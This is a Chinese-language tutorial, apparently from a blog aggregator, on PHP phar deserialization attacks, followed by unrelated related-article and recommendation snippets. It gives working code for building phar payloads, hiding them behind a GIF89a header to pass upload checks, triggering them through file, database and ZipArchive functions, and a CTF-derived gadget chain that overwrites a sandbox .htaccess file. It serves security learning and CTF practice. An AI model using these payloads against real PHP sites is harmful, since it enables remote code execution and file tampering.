php phar反序列化任意执行代码
2018年
原理
一。关于流包装stream wrapper
大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://
例如常见的有
include('php://filter/read=convert.base64-encode/resource=index.php')
include('data://text/plain;base64,xxxxx')
phar://也是流包装的一种
二。phar原理
①
phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分
以序列化的形式存储用于自定义的meta-data。
②
对于phar文件的stub,可以理解为一个标志,他的格式是固定的
……<?php ……; __HALT_COMPILER();?>
也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别
③
如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off
④
在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。
受影响的函数有
fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile
finfo_file
三。激发条件拓展
①php://filter/read=convert.base64-encode/resource=./1.phar
②compress.bzip2://phar:///tmp/test.phar
③压缩包
$zip=new ZipArchive();
$res=$zip->open('test.zip');
$zip->extractTo('phar//test.phar');
④数据库
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
⑤LOAD DATA LOCAL INFILE
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
四。利用方式扩展(文章最后进行详细介绍)
①SoapClient,php自带类,能够进行SSRF
②ZipArchive,php自带类(可能需要下载扩展),
ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE) //可以对文件覆盖
Demo
一。简单的小实验
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
//签名自动计算
$phar->stopBuffering();
?>
运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容
发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化
那么假如在这样一个php代码文件中include使用
<?php
class TestObject{
function __destruct()
{
echo $this -> data;
}
}
include('phar://phar.phar');
?>
结果
hu3sky
可见在之前压缩的phar文件代码
$o = new TestObject();
$o -> data='hu3sky';
被顺利的执行
总结:要实现phar反序列化攻击有几个条件
①有一个类有__destruct魔术方法作为跳板
②有file_exsits()等函数,且函数内容可控
③没有过滤phar://内容
二。拓展:将phar文件伪造成其他格式文件
由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于
__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面
加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
这样php就会将其识别为gif文件,就可以绕过一些上传检测。
--------------------------------------------------------------------------------------
ZipArchive实现文件覆盖
假如一个类的一个方法:
class Profile{
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
再看ZipArchive的open方法
ZipArchive::open(filename,OVERWRIDE) //对文件进行覆写
利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):
class File{
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
function __call($name, $arguments){
$this->admin->open($this->username, $this->password);
}
}
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive(); //因为这个类在Profile不存在所以触发__call方法
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"
$o->checker->password=ZipArchive:OVERRIDE //注意这里是调用方法
//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
//生成phar文件
注意:关于上面的__call触发条件,经过个人实验发现:
如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)
$o=new Profile();
$o->admin=new ZipArchive();
$o->username='test.txt';
$o->password=ZipArchive::OVERWRITE;
如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username='test.txt';
$o->checker->password=ZipArchive::OVERWRITE;
而关于__destruct魔术方法是可以直接触发的
php phar反序列化任意执行代码的更多相关文章
- Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353)
Jenkins Java 反序列化远程执行代码漏洞(CVE-2017-1000353) 一.漏洞描述 该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,jenkins利用此通道来接收命令,恶 ...
- 利用phar实行php反序列化命令执行(测试环境复现)
测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器.通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行. index. ...
- Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- 突破XSS字符限制执行任意JS代码
突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
随机推荐
- js里用 toLocaleString 实现给数字加三位一逗号间隔(有无小数点都适用)
<input type="hidden" id="totalLandArea" value="<%-info.totalLandArea% ...
- python批量提取哔哩哔哩bilibili视频
# -*- coding: utf-8 -*- """ Created on Tue Jan 29 13:26:41 2019 @author: kwy "&q ...
- 06. Z字型变换
题目: 提交01: class Solution { public String convert(String s, int numRows) { int length = 2*numRows-2; ...
- nacos 日志问题 ERR-CODE: [NACOS-0002], Type: [环境问题]
nacos配置中心配置后,项目启动正常,运行项目也正常,但是总是打印如下日志: 2019-10-11 15:44:09.792 [com.alibaba.nacos.client.Worker.lon ...
- Codeforces 1304E. 1-Trees and Queries
简述题意,给你一课最小支撑树,对每个询问,在原有的路径上增加x-y,问a-b是否有路径长度为k的路,每条路每个点可以重复使用 由于是最小支撑树,我们可以用LCA来快速判断每个点之间的距离,那么现在就要 ...
- 「AT2021」キャンディーとN人の子供 / Children and Candies
前言 今天练习赛出了这道题,由于我太菜没有在考场上做出来. 翻了题解后,感觉题解讲的并不是十分直观,所以自己写一篇. 题目大意 太长了,不讲了. 数据范围: \(1\leq N\leq 400\) \ ...
- Write-up-Toppo
关于 下载地址:点我 哔哩哔哩:哔哩哔哩 信息收集 vmnet8网卡,IP:192.168.131.144,开放web,ssh服务 ➜ ~ ip a show dev vmnet8 5: vmnet8 ...
- vue cli3.0打包
1.vue cli3.0需要在项目根目录下配置webpack 包括反向代理以及打包文件路径 const webpack = require("webpack"); module. ...
- Ajax请求回调地狱及解决方案(promise、async和await)
谈及回调地狱发生得情况和解决办法,就必须追溯到原生ajax请求. 先列出服务器提供的数据接口: // 服务器端接口 app.get('/data1', (req, res) => { res.s ...
- 吴裕雄--天生自然HADOOP操作实验学习笔记:hbase简介
实验目的 了解hbase的概念 通过安装hbase了解hbase的原理 了解hbase与hadoop的关系 复习hadoop和zookeeper的运行 实验原理 hbase是bigtable的开源山寨 ...